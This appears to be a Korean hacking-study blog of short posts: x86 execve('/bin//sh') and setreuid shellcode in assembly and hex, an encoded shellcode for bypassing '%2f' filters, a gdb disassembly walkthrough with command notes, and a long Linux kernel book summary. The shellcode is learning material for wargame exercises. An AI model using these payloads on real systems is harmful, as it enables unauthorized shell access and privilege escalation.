2012. 3. 21. 02:48

http://blog.naver.com/cache798?Redirect=Log&logNo=130062020309

mysql 설정을 해주고

$string = iconv("UTF-8","CP949",$_POST['cmd']);

Posted by k1rha
2012. 3. 21. 02:46
Posted by k1rha
2012. 3. 21. 02:45
===================== Answer by Mongil ==================================
어셈에서 return 해주는 두 가지 방법이 있는데~
하나는 원래 인라인 어셈 문법 중에 c언어 변수를
전달하는 것이 있고 (http://wiki.kldp.org/KoreanDoc/html/EmbeddedKernel-KLDP/app3.basic.html)
다른 하나는 꽁수를 이용하는 건데 C언어에서 함수가
리턴될 때 내부적으로 %eax 레지스터 값을 가져오거든
그래서 다음과 같이 가능하삼
int my_func()
{
asm("어쩌구저쩌구\n
mov %eax, 리턴값\n");
}

int main()
{
int ret = my_func();
printf("%d\n", ret);
}

잘 이해 안되면 다시 질문해주삼~


=====================================================================
Posted by k1rha
2012. 3. 21. 02:45
esi edi 에 대한 쓰임새에 대해 조사해보자.

ftz 에서는 운좋게 esi edi 레지스터가 쓰기 가능한 영역에 존재 했었던 거고,

새로운 환경에서는 esi 와 edi 의 주소안에 쓰레기값이 존재하며 그 쓰레기 영역은 쓰기권한이 없었기에

세그먼트폴트가 떴던 것이였다.


.globl main
main:
xor %edx,%edx
movl %edx,%eax
movb $0xb,%al
pushl %edx
pushl $0x68732f2f
pushl $0x6e69622f
movl %esp,%ebx
pushl %edx
pushl %ebx
leal (%esp),%ecx
int $0x80




shellcode : \x31\xd2\x89\xd0\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x8d\x0c\x24\xcd\x80

=================== Thax for indle bro~ ===============================

execve("파일실행","인자값 ==없으면 파일명의 더블포인터","환경변수");

인데, 각각 [포인터형] [더블포인터형] [트리플포인터형] 이다.


더블포인터를 어셈에서 구현해주는 것은

[adrress][null]//bin//sh[null] 로 구현가능하다.

즉 첫번째 두번째 세번째 push 에서 /bin//sh[null] 가 구현되고

이 스택 포인터를 ebx에 저장후 다시 null 값 [null]/bin//sh[null]

다음 push 에서 /bin//sh 의 주소 값. [/bin//sh`s address][null][/bin//sh][null] 로 들어가게된다.

이후 환경변수 edx 를 null 로 지정해줌으로써 execve 가 완성되는것이다.

그동안 쉘코드를 나름 이해하면서 쓴다고 생각했는데.. 다시생각하는 계기가 되었다. 
Posted by k1rha
2012. 3. 21. 02:44
=====================================================================
gdb 분석법에 대한 복습!

envirment :
Linux server1 2.6.28-18-server #59-Ubuntu SMP Thu Jan 28 02:23:52 UTC 2010 i686 GNU/Linux



코드는 몽형이 짠걸 얼추 기억해서 ... 재코딩

#include<stdio.h>
#include<string.h>

int main(int argc, char *argv[]){

char buff[40];


if(argc!=7){
printf("failed\n");
}

else{
fgets(buff,"17",stdin);

printf("%s",buff);

if(strstr("key",buff)==0){

printf("success\n");
}

else{
printf("failed\n");
}
}

}
#########################################################################
분석을 마치며 느낀점

ubuntu 는 프로시져 프롤로그 부분이 다르다. 스택을 좀더 보호하는 쪽인것 같은데
정확히 파악을 하지 못했다.

또한 print 함수를 호출하는 대신 같은 printf 라도 puts 를 통해 글자를 출력한다.

마지막으로 인자값전달에서 스택에 push하고 빼는 형식의 redhat 과는 달리

(%esp), 0x4(%esp), 0x8(%esp) 같은 식으로 esp 부분에 인자값을 하나식 전달하는 방법을
사용함을 알수 있었다.

마지막으로 16바이트로 주소값 끝에 00을 맞춰주려던 sub 함수들도 사라져 있는것을 알수 있다.
#########################################################################
=====================================================================

#### gdb 명령어 실행 ######

study@server1:~/programming/hack/gdb_excercise$ gdb -q argv
(gdb) disass main
Dump of assembler code for function main:
0x080484a4 <main+0>: lea 0x4(%esp),%ecx
0x080484a8 <main+4>: and $0xfffffff0,%esp
0x080484ab <main+7>: pushl -0x4(%ecx)
0x080484ae <main+10>: push %ebp
0x080484af <main+11>: mov %esp,%ebp
0x080484b1 <main+13>: push %ecx
0x080484b2 <main+14>: sub $0x44,%esp
0x080484b5 <main+17>: mov 0x4(%ecx),%eax
0x080484b8 <main+20>: mov %eax,-0x38(%ebp)
0x080484bb <main+23>: mov %gs:0x14,%eax
0x080484c1 <main+29>: mov %eax,-0x8(%ebp)
0x080484c4 <main+32>: xor %eax,%eax
0x080484c6 <main+34>: cmpl $0x7,(%ecx)
0x080484c9 <main+37>: je 0x80484d9 <main+53>
0x080484cb <main+39>: movl $0x8048610,(%esp)
0x080484d2 <main+46>: call 0x80483e0 <puts@plt>
0x080484d7 <main+51>: jmp 0x8048527 <main+131>
0x080484d9 <main+53>: mov 0x804a020,%eax
0x080484de <main+58>: mov $0x8048617,%edx
0x080484e3 <main+63>: mov %eax,0x8(%esp)
0x080484e7 <main+67>: mov %edx,0x4(%esp)
0x080484eb <main+71>: lea -0x30(%ebp),%eax
0x080484ee <main+74>: mov %eax,(%esp)
0x080484f1 <main+77>: call 0x80483a0 <fgets@plt>
0x080484f6 <main+82>: lea -0x30(%ebp),%eax
0x080484f9 <main+85>: mov %eax,0x4(%esp)
0x080484fd <main+89>: movl $0x8048619,(%esp)
0x08048504 <main+96>: call 0x80483c0 <strstr@plt>
0x08048509 <main+101>: test %eax,%eax
0x0804850b <main+103>: jne 0x804851b <main+119>
0x0804850d <main+105>: movl $0x804861d,(%esp)
0x08048514 <main+112>: call 0x80483e0 <puts@plt>
0x08048519 <main+117>: jmp 0x8048527 <main+131>
0x0804851b <main+119>: movl $0x8048610,(%esp)
0x08048522 <main+126>: call 0x80483e0 <puts@plt>
0x08048527 <main+131>: mov -0x8(%ebp),%edx
0x0804852a <main+134>: xor %gs:0x14,%edx
0x08048531 <main+141>: je 0x8048538 <main+148>
0x08048533 <main+143>: call 0x80483d0 <__stack_chk_fail@plt>
0x08048538 <main+148>: add $0x44,%esp
0x0804853b <main+151>: pop %ecx
---Type <return> to continue, or q <return> to quit---
0x0804853c <main+152>: pop %ebp
0x0804853d <main+153>: lea -0x4(%ecx),%esp
0x08048540 <main+156>: ret


###################################################################

break main 으로 *를 사용하지 않아서 프롤로그 부분을 넘긴다.
=> gdb 가 버리가 좋아서 main 함수에 break 를 잡으면 아라서 프롤로그를 넘긴다.

###################################################################
(gdb) break main
Breakpoint 1 at 0x80484b2
0x080484b2 <main+14>: 같은 주소값이 main+14 이니깐 이 이후가 실제 코드영역이다.

0x080484a4 <main+0>: lea 0x4(%esp),%ecx
0x080484a8 <main+4>: and $0xfffffff0,%esp
0x080484ab <main+7>: pushl -0x4(%ecx)
0x080484ae <main+10>: push %ebp
0x080484af <main+11>: mov %esp,%ebp
0x080484b1 <main+13>: push %ecx
이부분은 esp를 ebp 에 넣고 스택을 완성하며 ecx를 넣어서 스택 가드를 형성한다.
이때 ebp 를 push 하고 스택 포인터를 ebp 에 넣은다음 ecx를 push 한다.

즉,
[buff][ ecx ][sfp][ret][argc][argv]
(스택가드와 연관있을듯)가 되어있다.


0x080484b2 <main+14>: sub $0x44,%esp //스택을 68바이트만큼 확장
0x080484b5 <main+17>: mov 0x4(%ecx),%eax //ret 주소를 eax 에 저장
0x080484b8 <main+20>: mov %eax,-0x38(%ebp) //ret주소가 저장된 eax를 확장된스택 56바이트 지점에 삽입
0x080484bb <main+23>: mov %gs:0x14,%eax
0x080484c1 <main+29>: mov %eax,-0x8(%ebp)

스택을 44(16)바이트 만큼 확장 시킨다.
(gdb) print 0x44
$2 = 68(만큼 확장)

print 0x38=56

/////////////////////////////////////////////////////////////////////////////
먼말인지 모르겠다 ㅠ..ㅠ
////////////////////////////////////////////////////////////////////////////

0x080484c6 <main+34>: cmpl $0x7,(%ecx) //argc 가 7개인가 비교
0x080484c9 <main+37>: je 0x80484d9 <main+53> //같다면 main 53으로.
0x080484cb <main+39>: movl $0x8048610,(%esp) //아니라면 failed 를 esp 에삽입
0x080484d2 <main+46>: call 0x80483e0 <puts@plt> //printf 대신 puts로 이동한다?
0x080484d7 <main+51>: jmp 0x8048527 <main+131> //마지막으로 이동하여 에필로그.
0x080484d9 <main+53>: mov 0x804a020,%eax //인자값이 7일때 stdin 을 eax에 저장
0x080484de <main+58>: mov $0x8048617,%edx //3이란 숫자를 edx에 받고.
0x080484e3 <main+63>: mov %eax,0x8(%esp) //esp 8만큼 떨어진곳에 그값을저장
0x080484e7 <main+67>: mov %edx,0x4(%esp) //4만틈 떨어진곳에 edx를 저장.
0x080484eb <main+71>: lea -0x30(%ebp),%eax //48만큼 떨어진 ebp 값을(입력받은 버퍼값) eax 에 복사
0x080484ee <main+74>: mov %eax,(%esp) //입력버퍼값을 마지막 인자로 전달.
0x080484f1 <main+77>: call 0x80483a0 <fgets@plt> //fget를 호출.(입력받는다)


(gdb) x/s 0x8048610
0x8048610: "failed"
Breakpoint 1, 0x080484d2 in main ()
(gdb) ni
failed
0x080484d7 in main ()
(gdb)

(gdb)
===================================================================
reghat 과 다르게 puts로 이동한다?
기억상으론 printf 부분이여야 한다.
puts 분석은 맨 아래로..

===================================================================
(gdb) x/s 0x804a020
0x804a020 <stdin@@GLIBC_2.0>: " Tú·"
(gdb)


(gdb) x/s 0x8048617
0x8048617: "3"
(gdb)
(gdb) print 0x30
$3 = 48
(gdb)
(gdb)

========================================================================

0x080484f6 <main+82>: lea -0x30(%ebp),%eax //입력받은 값을 eax로 전달.
0x080484f9 <main+85>: mov %eax,0x4(%esp) //그값을 esp 두번째 인자로 저장.
0x080484fd <main+89>: movl $0x8048619,(%esp) //key 라는 값을 첫번째 인자로 전달
0x08048504 <main+96>: call 0x80483c0 <strstr@plt> //strstr 함수 호출
0x08048509 <main+101>: test %eax,%eax
0x0804850b <main+103>: jne 0x804851b <main+119> //같지 않다면 119로 이동.
0x0804850d <main+105>: movl $0x804861d,(%esp) //sucsess 를 첫번째 인자로전달
0x08048514 <main+112>: call 0x80483e0 <puts@plt> //puts 호출
0x08048519 <main+117>: jmp 0x8048527 <main+131> //131로 이동하여 에필로그수행
0x0804851b <main+119>: movl $0x8048610,(%esp) //failed 저장
0x08048522 <main+126>: call 0x80483e0 <puts@plt> //puts 호출
0x08048527 <main+131>: mov -0x8(%ebp),%edx

=======================================================================
(gdb) x/s 0x8048619
0x8048619: "key"

(gdb) x/s 0x804861d
0x804861d: "success"
(gdb)
(gdb) x/s 0x8048610
0x8048610: "failed"
(gdb)


(gdb)



==================================================================================
else 용어 정리

실행법.
시작과 중단
kill : 중단
run : 시작

Assembly 문법 변경
set disassembly-flavor [intel | att]

약어 : set di i
set di a

도움말 : help

[주요 명령어]
disass
break
clear delete (clear는 주소/심볼 delete 는 bp number 로 가능)
info break 브레이크 포인트 리스트 보기
continue : 실행 재개
Stepi:step instruction 함수를 만나면안으로 따라 들어감, 약어 : si
Nexti : next instruction 함수를 만나면 그냥 실행시킴 약어 : ni

info reg : cpu regster 출력. (올리디버거 효과)

[ break 심화 ]
rbreak ^foo 함수 전체 브레이크 포인트
hbreak [same] : hardware break point
tbreak [same] : temp break point
condition [break_number]i==100 조건 브레이크

데이터보기
print/F [대상] : 값 출력
x/CSF [대상] : 주소 + 값 출력
c(count)::1~xxx
s(size) : b(byte),h(half word), w(word), g(giant==8byte)
f(formet): c(char),s(string),x(hex),a(address),i(instruction),t(binary)
whatch [대상]
데이터값이 변경될 때마다 알려줌

데이터 변경하기

P [symbol] =값
set *[Address]=값
set $[Register]=값
실행 흐름 변경하기
Set $eip = xxx


Core파일 분석하기

gdb - c core : gdb 실행시 로딩
core-file ./ore : gdb 실행후 로딩
gdb ./xxx -c core : 심볼과 함께 로딩
bt: back tracing
stack frame
ulmit -c [size_kb]
코어파일 생성하도록 설정 변경

[기타 팁들 ]
실시간 명령 보기
display/10i $eip : 실시간 명령설정
undisplay : 설정 취소

바이너리내 심볼보기
info variables )모든 변수), info locals(지역변수), info functions(모든 함수)
사용자 명령정의
define abc(끝날땐 end)

gdb 설정파일
~/.gdbinit 파일 생성
Print 를 계산기로 활용가능
Print 10+20
print/c 0xbffffffd8 = 음수 측정

부모함수로 빠져나가기 up
Posted by k1rha
2012. 3. 21. 02:43
\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81

문제를 풀다보면 %2f 로 인하여 쉘코드가 먹히지 않는 경우가 있다.
이런경우엔 쉘코드를 다시 짜줘야하는데, 실력이 없는지라 %2f 가 되는 쉘코드를 짜지는 못하겠다..

위에 쉘코드도 펌.~  
Posted by k1rha
2012. 3. 21. 02:42

main:
xor %eax,%eax
movb $0x18,%al
int $0x80

movl %eax,%ebx
movl %ebx,%ecx
xor %eax,%eax
movb $0x46,%al
int $0x80

xor %edx,%edx
xor %eax,%eax
movb $0xb,%al
push %edx
push $0x68732f2f
push $0x6e69622f
movl %esp,%ebx
push %edx
push %ebx
movl %esp,%ecx
int $0x80

이놈의 쉘코드.. 짤때마다 짜증나게 오류가나네 --

미리 이렇게 올려놔야지...

Posted by k1rha
2012. 3. 21. 02:40
내멋대로 만든 요약판이다.
개인적으로 중요시 여긴것만 모아놓은 자료임..  

==========================================================================================
리눅스 커널 심층분석 2nd 를 요약하기 앞서 난 운영체제 수업이라고는 한번도 들어본적이 없다.
이런 내가 '이 책은 유명 해커가 쓴책이라 재밌다!" 라는 sjh21 말에 넘어가 버렸다.
어려운 커널책을 뒤로하고 이책의 장점은, 커널 프로그래밍보다는 커널이 어떤것 인가? 어떤 용어들이 쓰이는가에
중점을 두고 있었다.

그리고 sjh21 의 요약을 해보라는 말에 요약까지 해보는데, 덕분에 한번더 정독을 할수 있는 계기가 되었고, 도움이 된것같다. 

3번이나 읽으면서 얻어낸거라곤 용어와 커널이란 결국 동시다발적으로 일어나는 하드웨어, 유저 의 입출력을
충돌없이 잘 돌아가게 하는것이 80%라는 생각아래 글을 읽기전에 이걸 한번 언급하고싶었다.

by.k1rha
==============================================================================================




| 응용 프로그램 ||응용프로그램2||응용프로그램3|   <--USER INTERFACE
            | system call interface |
|커널 서브 시스템| |디바이스 드라이버|


일반적으로 인터렙트는 어떤 번호를 가지는데 커널은 이번호를 사용하여 특정 인터럽트 핸들러를 작용시킨다
그리고 그 인터렙트를 처리하고 응답한다.

ex)키보드 컼트롤러가 인터럽트를 발생시켜 시스템으로 하여금 키보드 버퍼에 처리해야할 데이터가 있음을 알린다.
-> 커널은 그 인터렙트 번호를 보고 알맞는 핸들러를 실행한다


리눅스 --> 모노라틱 커널 >> 주소 공간을 갖는 하나의 프로세스 형태 


리눅스와 유닉스의 차이점

리눅스 : 커널 모듈이 동적으로 로드 할수 있따.
SMP(대칭형 멀티프로세싱이 가능하다)
선점형 방식이다
스레드와 프로세스간의 차이가 없다.
리눅스 == GNU C라 인라인 함수들을 제공한다


유닉스 : 모노라틱하고 선점형방식도 아니다. 
자원을 공유하는 프로세스가 따로 존재한다.




태스크 : 프로세스의 다른이름으로 리눅스 커널에서는 프로세스를 종종 태스크라고 부르는 경우가많다.

스레드 (thread) : 프로세스 안에 있는 활동을 가진 객체이다.
저마다 고유한 가상 프로세서를 할당 받지만 가상 메모리는 공유한다.

-->하나의 메모리 주소 공간을 공유하기 때문에 동시 프로그래밍과 다중 프로세서 시스템의 경우 진정한 병렬 컴퓨팅을 가능케 한다.




fork() system call 은 부모프로세스와 자식프로세스에서 리턴되어 총 2번 커널로부터 리턴된다.

fork()->exec->clone->exit 
종료된 프로세스는 좀비 상태에 놓이게 되는데 이것은 종료 되었지만 아직 부모프로세스가 wait 혹은 waitpid를 호출하지 않는
프로세스를 표시하기 위해 사용된다. 

프로세스 서술자의 저장
시스템은 PID라는 값으로 프로세스 식별

프로세스 상태 
task_running: 프로세스 실행가능 
task_uninterretable : ghrdms block(중단) 상태 <<-- 프로세스가 signal을 받더라도 꺠어나지 못함

task_zomie : 태스크가 종료되었지만 아직 부모테스크가 시스템 콜을 호출하지 않은 상태

프로세스 상태조작은 set_task_state(task,state); 에서 한다.

프로세스 생성

'스폰'메커니즘에 의해 새 프로세스를 새 주소 공간에 할당하고, 실행 파일을 읽어들이고, 프로그램을 실행하는 작업들을 처리한다.

유닉스는 이작업을 fork() execl() 두개로 나누어 fork()는 태스크를 복제하여 자식프로세스를 생성하고, 자식은
부모프로세스 PID 와 PPID 상송되지 않은 자원에서만 차이가 난다.

COW(Copy on write):데이터의 복제를 지연 또는 방지하는 기법이다. 즉, 프로세스 주소 공간을 복제하는 대신 공간을 공유한다.


vfork() 시스템 콜은 부모 프로세스의 페이지 테이블 영역이 복제되지 않는다는 점을 제외하고는 fork() 와 동일하다.
대신 자식 프로세스는 부모의 주소 공간에서 마치 하나의 스레드인 것처럼 동작하고 부모는 자식이 exec() 를 호출하거나 종료될 때까지 대기한다.


부모없는 태스크의 딜레마?

부모없이 종료된 프로세스등은 언제까지고 좀비 상태로 남아 메모리를 소비한다.
해결책은 스레드 그룹의 다른 프로세스를 부모가 하던가 init 프로세스를 부모로 만드는 것이다.
부모를 바꿀경우 do_exit()에서 modify_parent()가 호출 될때 forget_original_parent()를 사용한다.



멀티태스킹 운영체제(협력형[cooperative], 멀티태스킹 선점형)을 대부분 사용한다.

실행중이 ㄴ프로세스가 비자발 적으로 중지되는것을 선점이라고하고 서점되기까지 프로세스가 실행되는 시간을 미리 정해지는데,
이것을 타임 슬라이스라고한다.
타임 슬라이스가 너무 길면 시스템의 인터랙티브한 성능을 떨어뜨려 더이상 응용 프로그램이 동시에 수행하는 것처럼 
느껴지지 않을 것이며 너무 짧으면 스위칭하는데 자원을 너무 소모 할 것이다. 

프로세스 우선수의 구현은 2가지로 나뉘는데 nice 값(-20 ~ 19 중 큰 nice 값은 낮은 우선순위) 과 실시간 우선순위 (0~99)가 있다.

schedule(): 다음 번 수행할 프로세스를 선택하고 그 프로세스에게 실행 권한을 넘기는 작업

effective_prio() 함수는 태스크의 동적 우선 순위를 리턴한다.

task의 sleep 과 wake 
sleep은 어떠한 이벤트를 기달리는데 크게 파일 I/O,  하드웨어 이벤트, 특정 시간, 세마포어 획득이 있따.

휴면은 대기큐(wake_queue_head_t)를 통해 처리된다.
DECLARE_WAIT_QUEUE_HEAD()를 통하여 정적으로 생산
init_wait_queue_head()를 통한 동적 생성이 있따.
race condition을 예방하기 위해서는 이러한 휴면과 깨어남을 구분 지어야 한다

로드 벨런서(load_balance()(call)) 실행큐의 균형을 맞추는 역할을 한다. 
과정 : load_balance()는 find_busiest_queue()를 호출하여 가장 바쁜 실행큐를 찾아낸다.
25% 이상의 프로세스를 갖는 프로세스 가 없는 경우 NULL 을 리턴 load_balance()는 종료된다
어느곳에서 빼올지를 결헌한뒤 가장 높은 우선 선위를 찾는다.
-> 다른 프로세스의 이동이 금지되지 않은 태스크를 찾는다 -> pull_task()로 바쁜 실행큐로부터
현재 실행큐로 프로세서를 이동한다.


선점과 컨텍스트 스위칭? 

컨테스트 스위칭(context switching)이란 하나의 실행 가능 태스크를 다른 태스크로 바꾸는 것을 말하며, kernel / sched.c 에 정의된 context_switch()함수에 의해 호출도ㅓㅣㄴ다.
1.asm/mmu_context.h 에 정의된 switch_mm()함수를 호출, 이전 프로세스의 가상 메모리 매핑을 새 프로세스의 것으로 대체한다.

asm/system.h에 정의된 switch_to() 함수를 호출 프로세서 상태를 이전 프로세서에서 현재프로세스로 전환한다.
이과정에는 스택 정보와 프로세서 레지스터를 저장하고 복원하는 등의 작업이 포함된다.

USER 선점:커널이 유저공간으로 돌아가기 직전에 일어나는 것으로 이경우 need_resched가 설정됐으므로 스케쥴러가 수행된다.

KERNEL 선점 : 리눅스 커널은 다른 대부분의 유닉스 변종이나 다른 많은 운영체제와는 달리 완벽한 선점형 커널이다. 비선점형 커널에서는 커널 코드가 종료 될때까지 실행한다.
즉 커널 안에 있는 경우 스케줄러가 다른 태스크를 다시 스케줄링하는 것이 불가능 하다.
커널 코드는 협력적(cooperative)으로 선점 되는것이지 선점되지는 않는다는 것이다.


SYSTEM CALL : 대게 함수 호출을 통해사용되며 하나 혹은 그이상의 인자를 받아들여 하나 이상의 사이드 이펙트를 가져 올 수 있다.

시스템 콜번호 : 유저 공간의 프로세스가 시스템콜을 실행할 경우 실행할 이름대신 번호를 사용한다

매게변수의 전달
대부분의 시스템콜은 번호와 함께 매게 변수가 필요하다 가장 쉬운 방법은 레지스터를 이용하는 방법이다
x86 에서는 ebx, ecx,edx,esi edi 레지스터가 순서대로 처음 5개의 매개 변수를 저장한다
시스템 콜을 동작을 위한 한계
시스템콜 테이블에 엔트리를 추가한다--> 지원되는 아키텍처에 대해 (entry.S) 시스템 콜번호를 <asm/unistd.h>에 정의한다-> 커널이미지를 컴파일한다.



인터럽트(interrupt)
하드웨어가 프로세서와 통신 할 수 있도록 해준다
-> 인터럽트 핸들러를 최대한 빨리 수행해야 하지만 한편으로는 많은 추가적인 일을 해야하는 2가지 목표

top half:인터렙터가 활성화되는 즉시 실행 타임크리티컬한 작업들
bottom half:나중에 해도 될 작업들은 밑으로 내려 놓는다.


인터럽트 핸들러등록은 irq(할당할 인터럽트 번호) 와 handler(해당 인터럽트를 제어할 핸들러포인터)로 이뤄진다.


SA_INTERRUPT:이 플래그는 해당 인터럽트 핸들러가 빠른 인터럽트 핸들러임을 가리킨다
SA_SAMPLE_RANDOM:이 플래그는 해당 디바이스에 의해 발생한 인터럽트가 커널 엔트로피 prook기영향을 끼친다.

인터럽트 핸들러 제거:void free_irq로 제거 



메모리를 공유하는 응용프로그램은 항상 동시적인 접근으로부터 공유된 자원을 보호해야한다
-> 다수의 실행중인 스레드가 동시에 데이터를 변경할 경우 다른 스레드가 변경한 부분을 또다른 스레드가 덮을수 있기 떄문이다.

동기화(synchronization) : race condition 상태를 예방하는것!

락킹(rocking):한번에 오직 하나의 스레드만이 해당 자료구조를 조작할 수 있다는 것을 확신할 방법, 혹은 특별한 구역에서 다른 스레드가 동작하고 있을때 해당 자료구조

==> 큐에 대한 사용 스레드는 반드시 lock을 얻어야한다.

lock은 경쟁이 발생하지 않는 원자적 작업들로 구현되어 있따.
해당 key가 점유되었는지 확인하고 그렇지 않은 경우엔 자기가 그 키를 점유하는 작업을 단 하나의 명령으로 수행 할 수 있다. 'o'은 락이 설정되어 있지 않음이다.

대칭형 멀티프로세싱 시스템을 사용한다면 두 프로세스는 정확히 같은 시간에 하나의 위험지역에 진입할 수 있다.--> 진정한 동시성

커널에서의 동시성 원리
*인터럽트
*soft tirp 와 태스크릿 -->커널은 현재 동작중인 코드를 중단하기 위해 거의 언제라도 softrirp나 태스크릿을 스캐줄 할수 있다.
데드락(dead lock):하나 이상의 스레드와 하나 이상의 자원이 있을때 발생하는 것으로 각 스레드가 어떤 자원을 얻으려 대기 하지만 이미 모든 자원의 락이 잡혀 있을때 발생
ex) 사거리에서 서로 눈치보며 서있는 차들과 같다



커널 동기화 방법중 원자적 동작(atomic poeration)이란 중단됨이 없이 한번에 실행되는 명령을 뜻한다.

원자적 정수연산:atomic_t를 사용하는 자료구조의 일부분이다.
atomic_t 의 크기는 24bit를 넘어서는 안된다 그 이유는 원자적 동작을 조금 이상한 방법으로 구현하고 있는 sparc 아키댁처 떄문이다 sparc는 락을 32비트 int의 하위 비트에 포함시켜 구현한다.

원자적 정수 연산은 보통 카운터(counter)를 구현 하기 위해 사용한다.
단순한 카운터를 복잡한 락을 사용하여 보호하는 것이 비효율적이므로
훨씬 가벼운 atomic_inc() 나 Atomic_dec()을 사용하여 구현하는 것이 보통이다. 

워드(혹은 이와 동일한 크기의 객체)에 대한 읽기는 언제나 원자적으로 발생한다.
읽기는 절대 동일 워드에 대한 쓰기 작업과 서로 끼어들지 않는다.
코드를 작성 할때는 가능하면 복잡한 락 대신 간단한 원자적 동작을 사용하는것이 좋다.
아키텍처에서 1개 또는 2개의 원자적 동작은 복잡한 하나의 동기화 방법보다 가벼울 뿐만 아니라 캐시 스레싱을 덜 발생시킨다.

원자적 비트연산
이함수 역시 아키텍처에 종속적이며 <asm/bitops.h>에 정의돼 있다.
이 함수들의 특징은 바로 일반 메모리 주소를 가지고 연산을 한다는 점이다.
0번 비트는 주어진 주소에서 가장 아래쪽(least signification)(비트를 의미하고 32비트기기의 32비트는 다음 워드의 가장 아래쪽 비트가 된다.



우리가 구조체를 갱신하기 전에 다른 누군가 같은 구조체를 읽으면 안된다는 것이다.
이를 위해 보다 복잡한 동기화 방법 즉, 락이 필요하게 된다.

락의 종류는 스핀락, 세마포머, 큰커널락(Big kernel lock) 이 있는데,

스핀락이리눅스 커널에서 가장 일반적으로 사용되는 락이다. 스핀락은 최대한 하나의 스레드에 의해 잠길수 있는 락을 말한다.
만약 어떤 스레드가 이미 잠겨진 스핀락을 다시 잠그려  시도한다면 그 스레드는 루프를 돌면서 락을 잠글 수 있을 때 까지 기다린다.<asm/spinlock.h>

세마포어 : 휴면하는 락이라 생각할 수 있다 어떤 태스크가 이미 잠겨진 세마포머를 잠그려 하는 경우 세마포어는 그 태스크를 대기큐로 삽입하고 해당 태스크를 휴면 상태로 만든다.

큰커널락(BKL)은 태스크가 휴면할 경우 자동으로 해제되고 다시 실행될경우 자동으로 잠긴다. 때문에 BKL은 재귀적인 락인것이다.
BKL을 잡고 있는 프로세스는 몇번이라도 BKL을 다시 잠글수 있다. 이 경우도 데드락에 빠지지는 않는다.




타이머와 시간관리
 
하드웨어에 고정되어 일정간격으로 체크를 해주는것을 커널은 틱이라고 한다. 하지만 이러한 틱 인터렙터가 없어도 되지 않을까? 라는 말이 있다면 그대답은 yes 이다.
하지만  그 설계가 깔끔치는 않을것이다. 대신에 커널은 대기중인 이벤트 각각에 대해 동적으로 프로그램된 타이머를 사용해야하는데, 상당한 타이머 부하를생각해야한다.
이런식으로 하면 주기적인 타이머 인터럽트가 필요없고 따라서 Hz 또한 굳이 존재핮 ㅣ않아도 될것이다.

지피? 란 전역 변수 jiffies는 시스템이 부팅된 이후 발생한 틱의 수를 저장하는 변수이다. 


실행지연 : 때로 커널 코드(특히 드라이버의 경우)는 타이머나 보톰하프 메커니즘을 사용하지 않고서도 실행을 일정 시간 동안 지연 할 수 있는 방법이 필요하다.
이것은 대개 주어진 작업을 하드웨어에서 처리하기 위한 시간을 보유하기 위해 필요하다.





메모리관리

커널 내부에서 메모리할당은 커널 외부에서의 할당처럼 쉽지많은 않다.
커널에서의 메모리 할당을 어렵게 하는 데에는 여러가지 요소가 존재한다. 우선 커널에는 유저 공간에서 제공되는 것과 같은 사치스러운 환경ㅇ ㅣ존재하지 않고 유저공간과는 달리 커널에서는 쉽게 메모리를 할당하기 위한 편리한 기능이 제공되지 않는다.
예를들면 대부분의 경우 커널은 휴면(sleep)을 할 수가 없다. 게다가 커널은 메모리 오류를 쉽게 처리하지 못한다.

페이지 : 커널은 물리적인 페이지를 메모리 관리의 기본 단위로한다.
프로세서의 가장 작은 주소 할당 단위는 보통 워드(word) 이지만 메모리 관리 유닛(MMU)는 일반적으로 페이지 단위로 동작한다.

커널은 시스템에 있는 모든 물리적 페이지를 struct page 구조체로 표현한다.이 구조체는 <linux/mm.h>에 정의돼 있다.

struct page{
page_flags_t flags;
atomic_t _count;
atomic_t _mapcount;
unsigned log private;
strct address_space *mapping;
pgoff_t index;
struct list_head lru;
void *virtual;

};


우선 flags 필드는 페이지 상태를 저장한다 여기에 저장되는 플래그에는 페이지가 변경되었는지 (dirty) 혹은 메모리가 잠겨졌는지(lock) emddmf skxksosms dufjrkwlrk dlTEk.
_count 필드는 페이지 사용 횟수 즉 해당 페이지에 대한 참조가 얼마나 되는지를 저장한다 이횟수가 0이면 누구도 이페이지를 사용하지 않은것이고, 이페이지를 다른 누군가에게 할당해 줄 수 있게 된다.
커널 코드에서는 이 필드를 직접 접근하는 대신 page_count()함수에 page 구조체를 넘겨주어 그 값을 얻으면 된다.
virtual 필드는 페이지의 가상 주소이다. 일반적으로 이 값은 단지 가상 메모리에서의 페이지의 주소를 나타낸다. 한편 상위메모리(high memory)라 불리는 메모리는 커널의 주소 공간으로 영구적으로 매핑되지 않는데, 이러한 메모리를 나타낼 경우 이 필드에 NULL을 사용한다.
그리고 이 경우 페이지는 필요할 떄마다 동적으로 매핑 돼야 한다.

여기서 핵심은 page 구조체가 가상 페이지가 아닌 물리적인 페이지와 연계되어 있다는 사실이다. 따라서 이 구조체가 기술하는 내용은 일시적일 수 밖에없다.
커널은 이 자료구조를 이용하여 시스템 상의 모든 페이지를 관리하며 따라서 이 자료구조를 통해 어떤 페이지가 사용 가능한지(free 한지)를 알수 있게된다.


페이지 얻기!!

커널에는 메모리를 요청하기 위한 하나의 저수준 (low-level)메커니즘과 이것을 사용하는 여러 가지 인터페이스가 제공되는데 이들은 모두 페이지를 기본 단위로 삼아 메모리를 할당하며 <linux/gfp.h>에 선언돼있따.

0으로 페이지가 초기화 되어있으면 페이지를 할당해줄수 있는데, unsigned log get_zeroed_page(unsigned int gfp_mask) 함수로 얻을 수 있따.
이 함수는 __get_free_page()와 동일한 역할을 하지만 페이지를 할당된 후 0으로 채운다는 점이 다르다.

페이지 해제하기
할당된 페이지를 해제하려면 다음과같은 함수를 쓴다
void __free_pages(struct page *page, unsigned int order)


Kmalloc()
kmalloc()함수는 유저 공간에서 많이 쓰이는 malloc()루틴과 비슷하지만 대신 추가적인 플래그를 매개변수로 가진다.
반대는 kfree 이다.
vmalloc()은 kmalloc()과 비슷하지만 가상적으로는 연속이지만 물리적으로는 꼭 연속이 아닐 수도 있는 메모리를 할당 한 다는 점이 다르다.


스택에 정적으로 할당하기? 

프로세스마다 할당되는 커널 스택의 크기는 아키텍처와 컴파일시 옵션에 따라 다르다. 전통적으로 커널 스택의 크기는 프로세스당 두페이지씩이다.
